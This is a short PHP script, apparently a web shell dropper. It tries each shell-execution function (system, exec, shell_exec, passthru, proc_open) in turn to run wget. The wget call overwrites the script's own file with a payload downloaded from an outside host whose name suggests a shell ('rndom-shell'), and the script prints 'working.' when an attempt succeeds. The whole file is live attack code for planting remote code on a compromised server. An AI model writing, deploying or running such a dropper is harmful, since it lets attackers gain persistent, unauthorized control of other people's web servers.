<?php
echo 'BhaiToolkamKorse';
function checkSystemFunctions() {
    $currentFile = __FILE__;
    $fileName = basename($currentFile);
    $functions = array(
        'system',
        'exec',
        'shell_exec',
        'passthru',
        'proc_open'
    );
    foreach ($functions as $function) {
        if (function_exists($function)) {
            if ($function == 'proc_open') {
                $descriptorspec = array(
                    0 => array("pipe", "r"),
                    1 => array("pipe", "w"),
                );
                $process = @proc_open("wget -O ".$fileName." https://rndom-shell.onrender.com/sellex.php.txt", $descriptorspec, $pipes);
                if (is_resource($process)) {
                    fclose($pipes[0]);
                    fclose($pipes[1]);
                    proc_close($process);
                    echo "working.\n";
                }
            } else {
                $output = @$function("wget -O ".$fileName." https://rndom-shell.onrender.com/sellex.php.txt");
                if ($output !== false) {
                    echo "working.\n";
                }
            }
        }
    }
}
checkSystemFunctions();
?>